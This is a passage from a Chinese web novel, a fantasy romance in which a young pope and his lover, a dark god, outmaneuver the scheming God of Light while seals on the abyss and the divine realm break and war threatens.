他以为自己落到这番境地只是因为当年诬陷杀害了女王的恋人,其实不止,还因为他以前多次雇人暗杀圣子,还以为青年并不知晓。 艾尔选择先对威廉大主教动手,既是帮自己报仇,也顺便帮女王姑姑了结心事,双赢。 那日之后,光明教廷除了发布了对威廉大主教的通缉令之外,一切照常。 新任教皇和上一任一样都是甩手掌柜,哦,这位出现的时间倒是多了不少,隔个三五年的会仔细检查教廷的事务,还会随机出现在某个分庭所在的城池,暗中观察神官有没有胡作非为。 时间一年又一年的过去,心思不正、贪财好色的法师都知道在教廷当神官没什么好处了,这些人都不会选择入职教廷。 按照新教皇的用人标准,现任神官的整体实力比曾经弱了好几个档次,但在他们的周旋和教导下,各方势力,以及上层人物和底层平民的关系都和谐了很多。 如今,除了深渊异族会在人族城镇中晃悠之外,凡界本土的异族也扩大了活动范围,开始成群结队的走出族地到处游历了。 尤其是女王陛下毫不留情地处决了一批又一批参与了异族拐卖的人,他们放心了很多,也渐渐跟王庭有了来往。 充实又幸福的日子总是过得很快,甚至已经到了三个圣子候选人成年很久,都有了不错实力的年岁了。 仍然喜欢劳心劳力,就是闲不下来的埃德加主教提起了可以召请神明选择新圣子了。 艾尔当然是能推则推,鬼知道光明神再苏醒过来的时候会搞什么幺蛾子。 但就算没有人召请,光明神也会自己醒来执行祂的计划…… 这天,塞缪尔正在教导小伴侣剑术,忽然停下了动作看向某个方向。 艾尔见祂掀起一抹好似嘲讽的笑,“怎么了?” 因为练剑了好一阵,银发青年现在脸颊薄红,白皙皮肤显得粉粉嫩嫩的,塞缪尔一把搂住可爱的小伴侣给他整理发丝,不在意道,“没什么,亚希伯恩正在解开整个封印而已。” 显然光明神是觉得人族如此平静,是因为出来的魔族还不够多,局势才没有乱起来,所以祂来加把火了。 第134章 第 134 章 艾尔听到伴侣说了什么后, 直接大脑宕机,啊…不是!这也太突然了!他还没做好准备,控制不住这个局势啊! 该死的光明神, 有什么计划不能提前跟他这个教皇说一声吗? 该不会祂终于意识到教廷没用了,打算亲力亲为了吧? 银发青年轻啧一声, 眉宇间笼罩着烦躁, “那怎么办……” 深渊有数不尽的生灵, 不受控的一大把,还有很多没有思维的低等魔族, 真让这些家伙出去了, 局势定然会飞速恶化。 塞缪尔看他又陷入了思考, 单手扯着恋人柔软的脸颊,没好气地说道, “你当自己的恋人是摆设吗?” 撒个娇让祂帮忙很难吗? 艾尔一愣,终于想起了伴侣这些年实力已经接近巅峰时期,完全可以一力破万法了! 因为塞缪尔平时万事不上心,艾尔总觉得让祂帮忙的话, 这家伙会直接去解决掉所有制造问题的人, 所以他习惯了自己处理教廷和生意上的事,刚才也没想起来他恋人这个大杀器…… 艾尔捧着恋人不大高兴的俊脸亲了一口,笑得特别好看, “那就麻烦老婆了, 我老婆可真棒!” 塞缪尔至今也没搞清老公老婆的区别, 祂被甜得晕头转向, 心情荡漾之下, 马上证明了自己的能耐,调动了大量黑暗元素力量凝成新的封印, 在旧封印碎裂之后立刻顶上。 大多数魔族都注意到了元素的汹涌流动,都没有当回事,还以为是哪个老怪物在打架。 此时,出口附近察觉到旧封印出了问题的魔族兴奋的往上跑,哈哈哈哈这下彻底自由——“碰!” 跑在前面的魔族摸了摸疼痛的脑门,一脸懵逼,随后皱紧了眉头,艹!封印不是碎了吗!他们亲眼看见的! “光明神那个老东西该不会是搞了个新封印吧?” 后一步赶到上空的魔族大惊失色,“不好!快去看看那道门还在不在!” 那道小裂口可别被封住了,他愿意排长队出去的! 性格沉稳一点的魔族碰了下无形无色的封印,没有以前那种被光明灼烧的痛感,再联想到刚才深渊里的异动,真相呼之欲出——只有他们伟大的深渊之主,才能这么轻易地布下像这样坚不可摧的封印! 至于他们的神为什么要挡下从属的去路? 哦~那一定是别有深意的!他们一定要好好思考,没脑子的东西可不配当吾神的从属! 很快,魔族确认了那道小裂口还能正常出入,所有的一切照旧。 机灵点儿的已经领悟了真相,亡灵眯着眼低喃道,“我明白了……吾神是为了稳定局势,断了光明神从胆小人族那里获得信仰的机会啊。” 周围的魔族恍然大悟! 因为这件事能让魔族敌视的光明神吃瘪,做出决定的又是他们无脑尊崇的深渊之主,所以众魔对塞缪尔限制了他们自由这件事没有意见,反而开始吹嘘他们信仰的神明稳重又充满智慧,是一个有耐心的猎手,而那小小的光明神就是被那位逗着玩儿的笑话而已。 神殿里,艾尔看着如星星一样多不胜数的信仰之力接连飘来,落入了恋人体内,不禁感叹了一声,真是有心栽花花不开,无心插柳柳成荫啊。 光明神利用自己看不起的低等生灵以谋信仰,但虔诚的信徒却越来越少。 塞缪尔是表里如一的傲慢,根本不搭理魔族的,但是祂封印了深渊魔族居然都没意见,还是对祂死心塌地。 艾尔不由沉思,难道深渊异族都有抖m属性?越是对他们不屑一顾,就越崇拜? 塞缪尔伸手拦下了一片信仰之力,祂将星星点点的白光捧到恋人心脏的位置,没入其中。 见青年表情怪异,神明大人挑眉问着,“什么有趣的事不能说出来和我分享一下?” 艾尔跟恋人感叹了一下祂的好命,顺便吐槽了一句,“天族提供给光明神的信仰不够吗?祂怎么还要谋算人族……” “神域的异族多数是其祂神明的眷属,亚希伯恩的行事作风不合他们胃口,当然不可能去信仰祂。” 况且在神战时代,聪敏点的异族都能猜到光明神做了什么。 作为最强大的主神之一,居然顶着正义慈悲的名头做些卑劣之事,真是太虚伪了! 异族这些长生种,本身就有较强的实力,他们追崇神明的原因更多的是祂们的脾性和爱好对自己种族的胃口,强大的实力是次要的。 他们追崇的神应该是自由傲慢的,是睥睨一切的,祂们不必掩饰自己的喜恶,应该想要什么就直接取,而光明神做的所作所为完全拉低了神明的格调。 也是因为这一点,亚希伯恩成为了塞缪尔最看不起的存在,觉得那家伙完全就是众神中的耻辱。 如果祂当年是直接掠夺其祂神明的信仰,压迫人族信奉祂,反而还能吸引到大批的慕强者成为祂的忠实信徒,就像魔族信崇深渊之主一样。 但祂偏要维持美好的假面,塞缪尔甚至怀疑那群自诩高洁的羽族还是光明神的眷属吗? 艾尔见恋人还在往他身体里塞信仰之力,连忙抓住祂的手,“怎么把信仰给我了?你自己够维持神格吗?” “够。”祂又不像亚希伯恩那样要靠大量信仰之力维持被规则排斥的天生神躯。 塞缪尔看着小伴侣体内新诞生不久的神格又凝固几分,暗自满意,伴侣越强大,祂才越放心一些。 祂抱着人,脑袋搁在青年肩头跟他咬耳朵,“宝贝儿最近练剑辛苦了,要回上面练魔法吗?试一试神明境阶的实力。” 艾尔当然是点头,表情特别正经地看祂,“你跟我切磋几场,放水别太明显了。” 男人失笑,“好。”小伴侣努力上进的样子像是在发光,这么耀眼的宝贝是祂的~ —— 亚希伯恩闭目放空了一会儿,当然,神明的一会儿对于人类而言至少是好几天。 时间流逝了不知道多久,再睁眼时,接收到的信仰密度依旧没什么变化,亚希伯恩甚至以为下界只过了小半日,混乱还没有发生。 前几次醒来的时候,亚希伯恩虽然有些不悦虔诚信众的减少,但祂并不迫切,始终是游刃有余的态度,傲慢的以为事情仍在祂的掌控之中。 如今,祂终于打算认真地对待这件事了…… 习惯性的想找人问责,神明却无法感应到祂的凡界代行者,祂的教皇身在何处,也无法感应到圣子的方位。 祂在重要神官身上留下的三道护印竟然全部消失,难道人都死了吗?! 神明紧皱着眉头,一向平淡无波的金眸被怒火悉数点燃,就像噬人的烈焰般恐怖——都一群废物! 亚希伯恩冷脸拿出一枚黄色菱晶,其上散发着光华,威压比人类法神的攻击更甚。 随着菱晶在祂手中消散,祂很快便吸收完了大地之神神格中蕴含的信仰。 随后,王城上空风起云涌,有一道白光,在众目睽睽之下落到了教廷的方向。 毕竟是天赋者云集的王城,城民们见多识广,也耳闻过许多神迹传说,加上这一代人成长在蓬勃发展的时期,能吃饱穿暖,过得安稳,也都受过教育,比几百年前的先辈们理智很多,所以对这天降异象只是感到新奇。 除了少数虔诚信徒外,其他人都不会再狂热地跪拜祈祷了。 也不是说人族就不敬畏神明了,只是他们更能理智思考了,如今一切安稳,教廷也没有公布要召请神明降临,所以高高在上的神明怎么会突然出现呢? 哦~这多半是有一位强大的法师大人从远方归来了。 城民们谈论了一会儿,继续忙碌自己的事了。 亚希伯恩的神念直接降临到教廷雕像之中,倒也没留意蝼蚁们的言行。 留守教廷的神官和圣骑士们注意到神迹,纷纷前往了主殿迎接他们的神明。 亚希伯恩看着下方几张熟悉的面容,不理解这些废物都活得好好的,境阶更高的教皇和圣子怎么会经历生死危机? “你们的教皇发生了何事?” 神明误以为重要的棋子已经身亡,本意是想知道他们是怎么死的,单膝跪地的大主教们却以为这位想见教皇冕下。 “吾神,冕下正在无人之地历练,我们这就联络他回来。” 亚希伯恩沉默,祂本以为教皇已经死了,不过这对祂来说也算个好消息,毕竟眼前的一群棋子都太弱小了,远不如一个法神有用。 然后,当神明看到传讯水晶中出现了银发青年的身影,然后众人称呼圣子为教皇时,祂更沉默了…… 神域之中,清俊的金发神明不禁抬手扶上了额头,祂本以为自己只沉睡了很短的时间,如今看来,这点时间对人族而言太长了,长到足以发生太多的改变。 艾尔早在恋人重新封印深渊后,便做好了再次见到光明神的心理准备,收到传讯后便用空间卷轴回了教廷。 在白茫茫的冰川之中,变成独身一人的黑眸男人收敛了笑意,指尖划过锋利的剑刃,蠢蠢欲动的想跟过去把亚希伯恩的神像给砍了。 亚希伯恩没等多久,几个呼吸之后,新任教皇便出现在祂眼下。 艾尔恭敬地行了礼,他本以为会被质问自己和黑暗异族联系过深的事情,啧,前任教皇一定跟光明神提到了这件事吧。 声音仿佛从遥远的地方传到耳边,艾尔听见神明问道:“夏佐去了哪里?” 艾尔:“?” 不止他,在场的所有人都一头雾水,啊?夏佐教皇不是早就去神域侍奉您了吗? 艾尔愣了一下,随后如实回答了神明的疑问。 亚希伯恩一时没有说话,因为印记消失,祂没有感应到夏佐的位置,竟然不知道他离自己如此的近。 很快,神明便想到了是祂信任的人类主动毁掉了三道护印,试图躲避祂的可能。 是在恐惧祂吗? 无论如何,还有利用价值的棋子没有死,并且已经来到了祂触手可及的地方……想到这一点,神明稍微压下了怒火。 神明继续询问新任教皇,他身上又发生了什么,是和黑暗异族战斗过了吗,护印居然也消耗完了。 银发青年装作羞愧的模样,“吾神,在夏佐教皇离开的那一天,有强大的光系法师袭击了我们,并且偷走了您曾经赐予我们的所有神器……” “遗憾的是,我们至今也没有找到小偷,找回丢失的宝物。” 光系?本该成为祂信徒的光系天赋者袭击了教廷,而这么多人竟然敌不过一个小偷? 骤然之间,王城之上的天空明明灭灭,让人心生恐慌。 平民们惊慌地跑回了自己家里躲着,同时也在安慰自己,没事没事,这里可是王城,天塌下来,他们还有王庭,还有两大学院的法师剑师在呢。 亚希伯恩终于难掩怒火,一字一顿道,“都、是、废、物。” 强大的神威骤然袭来,众人瑟瑟发抖,艾尔低着脑袋,一向脾气稳定的他不理解神明活了这么久,怎么还为这点儿小事生气呢? 那等祂发现塞缪尔已经强大到祂无法再轻易抹杀了,岂不是会被气死? 大殿安静片刻,光明神的语气忽然阴冷下来—— “吾的新教皇,告诉吾,你身上散发着腐朽臭味的黑暗印记……是从哪里来的?” 第135章 第 135 章 亚希伯恩在银发青年出现在这里的时候, 便感受到了祂最抗拒的黑暗气息。 原本以为是新教皇在深渊待了太久沾染上了一身味道,但结束了短暂对话后,那些气息一点也没有消散, 让光明之主很是不悦。 祂讨厌自己的地盘上出现黑暗,就像是被入侵了一般。 亚希伯恩本想随手抹除这些气息, 没有料到的是, 祂的神力竟遭受了阻挡! 神明这才正眼细细探查新教皇的身体, 随后,祂本就对这群废物失望至极的心情又添杀意! 祂无法抹除的印记——是塞缪尔, 一定是该死的塞、缪、尔! 神明的询问让众人大惊失色!他们纷纷看向了年轻的新教皇。 一尊雕像居然有着像是淬了毒一般的眼神, 艾尔在祂的视线之下, 不由绷紧了身体,啧, 可别把火发在我身上了。 青年脸上尽是不解,他不可置信地问着,“吾神,您是说…我身上被黑暗异族留下了印记吗?” 他紧皱着眉, 恍惚地低下头盯着地面, “我已经是法神境阶,竟然有异族能在我毫无察觉之下在我身上留下印记,对方究竟是什么实力……” 这话听得周围人慌乱起来, 他们该不会也被黑暗异族盯上了吧?! 有大主教小心翼翼地开口向神明确认这件事, 得到否定的答案, 顿时松了一口气——哦, 他们早就说了黑暗异族不可信, 不能定下交易让人族放松警惕,教皇不听, 还非要经常跑去深渊游历,啧……年轻人,还是太天真了。 有几个大主教抱着看好戏的心情这样想着,更多的还是真心为银发青年担忧的人。 新教皇用仰慕期盼的表情注视着神像,“吾神,您可以告诉我,这个印记有多危险吗,若是您愿意再次为忠实的信徒提供庇护,艾尔会万分感激的。” 众人的心在神明的沉默中越发忐忑,不是因为神明没有答应替教皇解决麻烦,而是不知为何,神威的压迫性更强了,他们敏锐地感知到了神明的怒意已经到了一个临界点。 人类的第六感没错,亚希伯恩确实比之前更生气了。 祂的信徒被最厌恶的存在留下了印记,而因为降临附身在神像之中,祂被束缚了大半实力,无法探知到印记的具体作用,也无法抹消其存在! 亚希伯恩认定,以塞缪尔的性格,与人族定下的绝对是单方面压迫的契约,暗中设计了祂的教皇,一定是想在某一重要时刻给祂“惊喜”。 因为无法应下信徒抹消邪恶的黑暗契约的请求,神明已经恼羞成怒,而祂的高傲不允许祂承认自己做不到。 神明的回应有些冰冷—— “吾本以为你是个聪明孩子,却大意到没有发现早已出现在你身边的黑暗之子……” “这个印记便当作惩罚,也是激励,你要在藏在暗处的敌人胁迫你之前,破境来到神域之中,吾会在那时助你解开束缚。” 被敌人打上记号的信徒于祂而言就是耻辱,是能力不够的废物。 而且似乎自从这个人类在教廷有了权利之后,他的所作所为看似是全心为神明扩张信仰,让更多的人族对光明神产生好感,结果却适得其反了,亚希伯恩收到的信仰越来越少。 若不是亚希伯恩知晓青年是被虔诚的牧师教养长大,也亲眼见过青年曾经凝聚出对祂的信仰,祂必然会怀疑眼前的人类是被塞缪尔蛊惑了来给祂添乱的! 考虑到银发青年还有利用价值,甚至价值比前任教皇要大的多,亚希伯恩忍下了杀死他的念头。 艾尔知道祂不行,所以并不意外这个回复,低眉顺眼地应下了神明的话。 亚希伯恩终于提到了祂这次降临的原因:“深渊那边可有异动?” “回吾神,深渊一切如常,暂时还没有出现会扰乱凡界秩序的魔族。” “封印呢?” “封印还是破损的样子……”年轻教皇一顿,隐含着期待问道,“您是打算修复封印了吗,还是想让两界继续往来下去?” 封印还是那样?亚希伯恩在心里冷笑连连,笃定是塞缪尔插了手。 呵……祂还会管两界会不会发生战争这种事?而且至今都低调到没有被人发现,变得沉稳了……难道祂还能转性了吗? “去告知信众,黑暗之子已经诞生,若祂不死,人族的未来将陷入无尽黑暗之中。” “派教廷的人去深渊探查所有法神境阶以上的魔族,黑暗之子可能会掩饰自己的特征,寻人时不必再拘于黑发黑眸。” 艾尔正在感叹祂终于想到了这一点,就听见自己被点名了。 “艾尔菲斯,吾最信任的教皇,吾如今非常怀疑与你接触过的魔王,好孩子,你愿意以身犯险,去接近那位魔王探查他的喜好吗?” “将他说过的话都记录下来吧,吾自会辨认他是否是我们的敌人。” 青年弯腰行礼,“艾尔非常乐意服从您的指示,吾神。”他不止能去接触,还能去□□呢。 亚希伯恩另有事要做,祂对信众下了命令后,便收回了寄附于神像上的意识。 大殿中,神明的“信徒”们正忧心忡忡。 对夏佐教皇最是信任尊敬的埃德加在担心他的下落,其他人则有些抗拒神谕。 连法神实力的教皇都在毫无察觉之下被阴了一把,他们若是派遣了神官或者圣骑士进深渊打探消息,如果被发现了,不被那些暴脾气的魔族找麻烦才怪,还要被凡界的其它势力联合指责打破了稳定局势。 越是位高权重,越是实力高强的人族,其实就越不会虔诚信神,他们只会信到手的好处…… 没有信仰作为驱动力,要他们去找死?他们宁愿辞职。 有大主教开口,“冕下,您有何安排?” 哦,希望这个年轻人不要太死脑筋了,神明说什么就做什么,派几个骑士去深渊转一圈就好了。 幸运的是,神官们的期望成真了。 银发青年褪去了方才在神明面前的天真仰慕,他收敛了表情,语气淡淡道:“两界的平衡关系不容打破,教廷担不起这个责任,让唐纳德阁下带几位骑士,装作赏金猎人进深渊游历一段时间吧。” 埃德加问他,“那你真的要去调查魔王陛下吗?” 青年点头,“至少那位表现出了很好交流的样子,我并不觉得困难,阁下不用担心。” 三言两语做了决定,众人散去之后,艾布纳出了神殿还跟艾尔聊了一会儿,隐晦地吐槽了光明神几句。 艾布纳上次见到光明神还是在那位亲选圣子的那日,当时心中忐忑,他不信仰神明,但也承认神明的威仪不是其他生灵能比的,是那么高高在上,遥不可及。 而今日,艾布纳只觉得神明颠覆了在他心里的形象,做事不考虑后果,好像还有点气急败坏……更像是那些没脑子的贵族老爷。 而且什么事都不知道,还要他们去查,根本不是从小听说过的那样全知全能嘛。 艾尔嘴上不应,心里却万分赞同。 连艾布纳都开始看低光明神了,艾尔就更没把祂放在心上了。 实力再强,却只能用意识降临,谋算再多,却傲慢到相信一切尽在掌控,哪怕对重要的棋子都不屑一顾。 比起过于自信的光明神,艾尔更警惕的是前任教皇,他居然一直藏在神域没有去见过神明哪怕一面吗? 艾尔已经想给那位鼓掌了,演技可比他好太多了,亏他一直以为前教皇是个虔诚的信徒来着。 神明刚才一直压抑着怒火,希望祂能把火发到藏起来的前教皇身上…… 艾尔没在教廷停留太长时间,他挑选了几个耐心好点的圣骑士去深渊随意逛一圈,敷衍过神明下的命令。 而他自己,当然是去接触危险的魔王陛下了,咳,这个命令要认真执行,可不能敷衍。 艾尔回到了不久前和恋人分别的北极冰川,一落地,便看见男人姿态随意地坐在鹅毛大雪之中,双手撑着地,身体微微后仰,冷漠地看着苍茫天空。 雪花落在祂的脸颊,落在祂许久没有眨过的眼眸中,也没有激起丝毫反应,就像一尊完美的雕像。 察觉到这片空间多了一道气息,雕像终于活了过来,看到那张熟悉的脸,祂再度感受到了心跳…… 塞缪尔向祂的恋人伸手,如愿被漂亮的青年扑了满怀,还顺势在雪地里滚了几圈。 祂躺在地上,抱着温暖的小伴侣,冷硬的面容完全柔和下来,“宝贝儿,我好想你。” 艾尔被祂滚烫的眼神看的俊脸一热,咳……都老夫老夫了,怎么还这么热情。 青年捧着祂的脸,蹭了蹭祂的鼻尖,呼吸在交缠,压低的声音显得非常亲昵,“怎么在发呆?看起来很无聊的样子。” “嗯,你不在我就没什么事做。” “好吧,是我的错,走之前应该给你布置堆雪人的作业~” 塞缪尔捻起伴侣的一缕头发卷着玩儿,“什么雪人?” “等会儿教你,我们可以一起堆。我现在要执行光明神大人特意交代我的任务了,魔王陛下,请您配合一下。” 大魔王挑眉,兴致盎然,“教皇冕下凭什么要我配合?不如先告诉我是什么样的任务,我可以考虑一下。” “我需要记录您的一举一动,包括您说的每一句话,然后上报给吾神。” 说到这里,尽管艾尔知道光明神这样做是怀疑塞缪尔在掩饰自己的身份,想通过细节确认魔王到底是不是塞缪尔转世,他还是不由的在心里吐槽了一句——依光明神对塞缪尔的执着和了解,真的有点像痴汉啊! 他的理智上知道自己作为塞缪尔的恋人,太敏感了点,纯属想多了,但也不妨碍他看光明神越来越不顺眼。 艾尔只是气了那么一小下,继续兴致勃勃的和恋人玩游戏了,他甚至还拿出了纸笔准备记录。 塞缪尔非常愿意配合这项任务,神明大人压下坏笑,深邃的黑眸直直地看着身上的青年,纤长的眼睫颤了颤,语气有些软,“哥哥,可以在这里做吗?” 一只宽厚有力的手摁在了他的腰上,艾尔做势要写字的手一顿,大魔王还在催促,“哥哥,刚才那句话你不记下来吗~” 艾尔:艹…… —— 不久前,神域。 正在和翼族族长下棋的白发男人看到了风起云涌的景象,也隔着遥远的距离感受到了神明的威压。 比起神域中惊慌失措的异族,这个人类如往常一般平静,让背生白翼的族长不由在心中感叹,如果他们曾追随过的神明,一直都像这样的性子该多好…… 夏佐垂眸,失神地摩挲着手中棋子。 祂为什么会生气,是发现我早已经来到神域了吗,是……因为我才这样生气的吗? 【全文完】 第136章 第 136 章 神威压迫之下, 神域中所有生灵都惊慌逃回了自己的族地,他们信仰过的神明曾赐下的庇护会让他们多些安全感。 名义上还是光明神从属的翼族也抚摸着发颤的翅尖,“这是怎么了?” 偌大神域之中, 还有谁能惹那位生气呢?谁又敢惹?甚至没有生灵有资格踏入光明神殿。 白发男人叹息一声,“一定是我的原因, 才惹来神怒。” 夏佐确信神明又降临到了下界, 再次为信仰流失而恼怒, 也一定从神官口中得知了自己早已来到神域的事实。 一向顺从的猎物忽然反抗,意识到自己被欺骗了, 神明动了杀心是必然的…… 翼族族长犹豫了一下, 还是下定了决心, “阁下,您利用神器躲一躲吧, 我们会为您保密的。” 虽然对方是人族,但比他们实力强,天赋是他们亲近的光系,身上也有翼族信仰的光明之主曾经的影子, 加上相处了这么多年, 再怎样也是有点感情在的,族长不想看到像夏佐阁下这样美好的生灵就此消失。 年轻翼族也勇敢地表示,如果神明寻了过来, 他们会说没有见过阁下的。 每天都会有从下界而来的信仰之力落在白发男人身上, 因为这件事, 翼族对他很有好感, 哦, 这一定是一位性格宽厚仁慈,充满正义的生灵! 因为光明神对诸神的迫害, 加上黑暗神封印了神域也是对光明神的反击,神域异族们嘴上不敢埋怨,心里都很反感强势虚伪的某位主神,也迁怒到了和祂有关联的存在身上。 所以以翼族为首的光明眷属,自神战时代以来便受到了其他神明眷属的排挤,而眷属们虔诚侍奉数万年的伟大神明,一意孤行,自私自利,从未留意到他们的失望,也从不在乎。 光系异族在其他异族的排挤下强撑着高傲,也越发冷漠,鲜少离开族地……其实已经有了点抑郁倾向。 直到夏佐阁下,这位光明神的凡界代行者成为新神进入了神域,他的气度和品德让异族们不由想起了‘光明礼赞’中的神明形象,所以夏佐很快便获得了光系异族的好感和尊重。 更何况他还带来了人族的故事书,教大家下棋,唱歌,绘画…… 他鼓励大家创作,发展自己的喜好,让死气沉沉的神域变得有意思了很多,幼崽们都更有活力了。 更重要的是,他拿出了好几件神明遗物送给了信仰这些神明的眷属,看在夏佐阁下的面子上,光系异族受到的排挤都没那么明显了。 这位新神有实力,有智慧,慷慨大度,完全是翼族欣赏的那一类,加上他们觉得欠了对方一个人情,才会下定决心向光明之主瞒下他的行踪。 神战之后,夏佐阁下并非第一个破界而来的新神,那几个人类都陨落于光明神之手,他们不想看到如此美好的生灵也落得这样的下场。 夏佐笑了笑,语速不急不缓,看起来半点不紧张,“诸位不必有太多隐瞒,如果惹怒了神明,牵连到你们,我会很愧疚的。” “若是你们见到了祂,请如实告诉祂见过我,只是不知道我的去向而已,请吾神多点耐心,等我准备好了,自然会出现在祂面前的。” 话音一落,温雅的男人便化作缕缕白光飘散开来,已经活了几千年的翼族族长竟也丝毫追寻不到他的行踪,不由感叹了一声人族可真是潜力无限啊,难怪法则偏爱他们…… 神域的气压越来越低,光线扭曲,温暖阳光也变得滚烫,但生灵的灵魂却冷得发颤。 他们清晰地感知到了遥远神殿中的可怕存在正在靠近,整个神域都安静了下来,躲藏在自己家里,没有谁愿意出现在神明面前触霉头。 当翼族看到金发金眸,身上带着浅淡光华的俊美神明时,提着的心终于放下了,有种果然如此的感觉。 族长行过礼后,仍然低着脑袋不敢看祂,“吾神,能见您一面,是翼族的毕生荣幸,您的仆人乐意为您效劳。” 亚希伯恩不耐道,“吾在寻找一个人类,你们可有看到光系天赋者?” 因为那个人淡定从容的模样,族长相信他是有底牌从光明神手中活下来的,便如他所愿并未隐瞒,“您说的一定是夏佐阁下,那位光明教廷的教皇,他已经来到神域很多年了。” “不过您一直在沉睡,他不愿打扰到您,便没有去神殿觐见。” 族长听到了一声短促的冷笑,顿了顿,将那个人的话转告给神明,“可惜夏佐阁下已经离开,我们也不知他去了哪里,不过他离开前曾说过一定会去神殿见您。” “既然您已经苏醒,想必他得到消息后,很快便会出现。” 说完之后,翼族便觉得在得不到神明回应的时间里度秒如年。 亚希伯恩眸光明灭不定,沉默之下似有海啸将至。 傲慢的神明显然忍受不了事情一件又一件脱离了祂的掌控,连强大如其祂神明都被自己轻易利用、抹杀了,区区人类,凭什么…… “咔嚓——”是什么碎裂的声音。 翼族闻声一抖,感受到强大的能量波动。 他们以为危险降临,条件反射地抬起头,看见了神明手持华美神杖,长发飘扬,面色冰冷,攻击落到了某处,有黑色纹路被激发显形。 神域的所有生灵都感受到了脚下的震颤。 —— 下界的冰川之中,塞缪尔纠结地看着恋人堆好的雪人,圆脑袋,圆滚身体,松垮到马上就要瘫软在地了,这怎么就是祂了? 拿两个黑色宝石当眼睛,用墨笔画了两道斜飞的黑眉,再把祂的剑拿去插在雪人身后,这就像祂了吗? 以前最是毒舌的神明大人抿了抿唇,倒是没说丑,“宝贝儿,是不是有点矮了?” 只有祂一半高,怎么还能说像祂呢?祂在恋人眼中是这幅又胖又矮的形象吗? 塞缪尔觉得用松软的雪堆不出来小伴侣的半分俊美,所以祂选择了刻冰雕。 祂第一次做这种东西,但架不住用剑的精确度太高,刷刷几下便刻出一尊与银发青年有八分相似的等人高冰雕。 艾尔左右摆头看了下两个作品,不服输道:“我这是堆的小时候的你,多可爱啊。” 塞缪尔:“……”祂小时候也没这么胖过。 神明认真点头,“确实很可爱,我要把它收藏起来。” 他的恋人已经那么完美了,审美上有一点点瑕疵又有什么关系呢,而且嘴硬的样子比胖雪人可爱多了。 被可爱到昏头的某神转头就亲了小伴侣一口。 沉迷于亲昵互动的塞缪尔忽然话音一顿,抬头看向了上空。 艾尔也注意到了异常,苍茫天空之中,有一条长缝骤然出现,让他想到了深渊和凡界的交界处。 长缝附近交杂着黑暗和光明元素,很快,黑暗被大片白光淹没。 凡界各族都留意到了这番异向,人类平民如今理智了很多,哦~这一定是两位强大的法师在打架吧,可惜离得太远,连个人影也看不到,没什么看头。 平民们低下头继续做自己的事,只有最悠闲的小孩儿看着天空一个劲儿的瞎喊。 比起平民的不在意,实力越强的人,就越轻松不起来,他们是能分辨危险程度的。 “神域被打开了啊……” 这声叹息在大陆很多个角落响起。 不需要塞缪尔提醒,艾尔也能看出上面正在发生什么。 光明神能打破封印这件事他并不觉得奇怪,既然伴侣当初能解开深渊的封印,相对应的,神域的封印当然也能被解开。 真正让他不理解的是,光明神为什么会拖到现在……啧,一定又是为了扩张信仰,祂总是执着于这一件事。 艾尔有些疑惑,“祂是想让天族掀起战争吗?” 物以类聚,性格暴躁直接点的异族选择了混乱的深渊,和善一点的异族都定居在神域,统称天族,他们强大,但并不好战,也不喜血腥,考虑到这一点,艾尔有些怀疑他刚才的猜测。 况且在人族普遍认知中,神域的生灵都是光明神的眷族,若被他们入侵,人族只会愤怒于神明没有管好祂的下属,怎么能获得更多信仰呢? 塞缪尔整个人慵懒地挂在小伴侣身上,看了一眼天空,欲欲跃试道:“想上去吗,一有天族出现,我们就截杀了他们。” 艾尔:“……”打地鼠呢? 大陆辽阔,鬼知道如果真的有麻烦会发生,会从哪里开始,所以艾尔选择待在原地,等着有人联系自己。 当晚便有人联络了他,比他想象中要快,艾尔轻啧一声,他想这次光明神一定是气急了,迫不及待的想找麻烦发泄火气。 “雷蒙?”青年有点意外,居然是深渊异族先来找他了,注意到恶魔背后的混乱场景,“你那边是打起来了吗?” “是的殿下,深渊这边突然出现了好多天族,这群疯子,他们一来就攻击了我们!哦,我没想到天族是这样的性格,跟古书上记载的完全不一样!” 恶魔嘴上骂着,脸上却兴致勃勃,显然觉得双方交战很有意思,“这次联络您,是想请您问一问伟大的深渊之主,我们是即刻进攻神域?还是吾神另有安排?” 艾尔:“……”怎么跟你们老大一个想法啊??! 作为唯一能拉住这些暴脾气的缰绳,艾尔当然是劝住了他们,“别冲动,我先过去和天族谈谈。”谈不拢再打个你死我活吧。 等青年迅速来到深渊封印处的时候,便看到魔族、天族,还有留守在这里的人族强者正在混战,三方都已经有了伤亡。 多看两眼,他才确认人族和魔族是统一阵营,正在反击来势汹汹的天族,呃……放在以前,谁能想到这画面呢? 正在艰难抵抗的人族强者们也颇为无语,妈的,他们居然会帮警惕了多年的魔族! 不是从古至今都在说天族和善,魔族残暴吗?现实怎么反过来了?!魔族在和他们交朋友,反倒是天族一来就挑衅袭击! 也不知道来的都是活了多少年的老怪物,人族强者完全处于劣势。 魔族那边打的很兴奋,像是他们才是主动搞事的一方,而真正挑起争端的一方和人族一样垮起张脸。 温暖白光落到身上,抚去了人和魔身上的所有伤痛和疲惫,魔族们满血复活打得更开心,其他人则聚拢到了银发青年身边,“教皇冕下。” 无数条游动的元素小蛇缠绕上打得激烈的两方,“友好一点,远道而来的客人们。” 被束缚住的魔族:哦~殿下现在好强,不愧是他们深渊之主挑选的神使! 天族则将仇恨不喜的目光对准了刚出现的人类,这里居然还有个神明级别的存在,而且……“光明教廷的人?” 艾尔点头承认,他敏锐地看出天族对他过浓的负面情绪,好像是因为他的身份? 有控雷的天族讽刺道,“你居然站在深渊异族那边,你信仰的神明会赞同这种事吗?” 青年温和说道,“我站在无辜的一方,我不能允许诸位在凡界开战,有什么深仇旧恨,请在神域或者都进深渊里解决。” 艾尔不远处的亡灵看了看被束缚起来的敌人们,再抬头看看神域裂缝那边密密麻麻的大军,撇撇嘴,“真是有病,你们在神域待太久被逼疯了吧,翼族那些家伙都没出现,轮得到你们来讨打?” 往上细数几百代,他们都是和光系异族互相看不过眼,有这些家伙什么事儿? 天族都露出憋屈的表情,艾尔看到好几个嘴巴张了又闭,像是想说什么又不能说。 神躯接近透明色的驭风族一员仇视地看着银发青年,“年轻人,在阻拦我们之前,你还是先问问伟大的光明神有什么指示。” 某些字眼说的特别阴阳怪气,艾尔听出来了,原来他们仇视的是光明神,自己只是被迁怒了。 从深渊裂缝闻讯出来的魔族越来越多,再往上看,发现局面不对正在赶来的天族也越来越多,若不阻止,这里很快就会出现两军对垒的画面。 人族在心里骂骂咧咧,交战的时间久了,战场一定会扩大到人类聚集地那边去,烦死了…… 他们抓紧时间联系了各势力的强者过来,希望能及时挡住战线。 看出天族有话不方便明说,艾尔自原地消失,白光化成的人影又出现在了遥远的上空。 